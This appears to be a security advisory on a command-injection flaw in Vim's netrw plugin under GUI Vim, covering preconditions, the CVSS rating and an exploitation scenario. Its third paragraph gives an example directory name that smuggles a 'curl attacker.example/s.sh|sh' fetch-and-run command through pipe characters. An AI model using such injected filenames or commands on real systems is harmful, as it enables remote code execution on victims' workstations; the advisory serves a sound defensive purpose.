Vim netrw CVE-2026-73078

Exploitation requires the victim to be running GUI Vim (gvim) - not terminal Vim - with the netrw plugin loaded, which is the default Vim configuration. The user must actively browse to or bookmark an attacker-controlled directory path containing | pipe separator characters or unescaped single quotes; this action triggers the vulnerable menu-construction logic in s:NetrwBookmarkMenu(), s:NetrwTgtMenu(), or netrw#MakeTgt(). No authentication is required on the attacker's side - the attacker only needs to make a malicious directory structure accessible to the victim via any reachable medium such as an SMB share, NFS mount, WebDAV endpoint, or compressed archive. The attack does not function against terminal Vim because the :menu Ex commands in that context do not invoke the GUI menu entries where the injection occurs. No non-default configuration is required on the victim side: netrw is loaded automatically and the vulnerable functions execute whenever the user opens the netrw file explorer in a GUI Vim session.

The CVSS 4.0 score of 8.6 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H) correctly characterizes this as high-severity but user-interaction-dependent. The network attack vector is justified because malicious directory paths can be delivered over SMB shares, NFS mounts, WebDAV endpoints, or crafted repositories without requiring special attack preconditions. The UI:A requirement meaningfully limits automation - mass exploitation without social engineering is implausible, placing this below the threshold of a wormable vulnerability. No EPSS data was supplied in the source intelligence, leaving quantified exploitation probability unavailable; the absence of both KEV listing and independently identified POC code suggests the vulnerability has not yet seen broad opportunistic exploitation. Despite this, even a mid-sized municipal IT organization in bytom that issues developer workstations running gvim should treat this as urgent, since developers routinely browse project directories and remote shares through netrw. The primary real-world limiting factor is the GUI Vim prerequisite - organizations running Vim exclusively in terminal mode face no exposure from this specific flaw.

An attacker crafts a directory whose name embeds pipe-separated Ex commands - for example, a directory named foo|!curl attacker.example/s.sh|sh| - and hosts it via a shared network drive, WebDAV server, or malicious Git repository. When a developer opens GUI Vim, navigates to this location with netrw, and the path is captured into Bookmarks or History, the :menu construction in s:NetrwBookmarkMenu() or s:NetrwTgtMenu() interpolates the unescaped path and silently executes the injected OS command in the Vim session's user context. No independent POC code has been identified, but the five injection sites are fully documented in the public commit diff, reducing the effort required to develop a working exploit.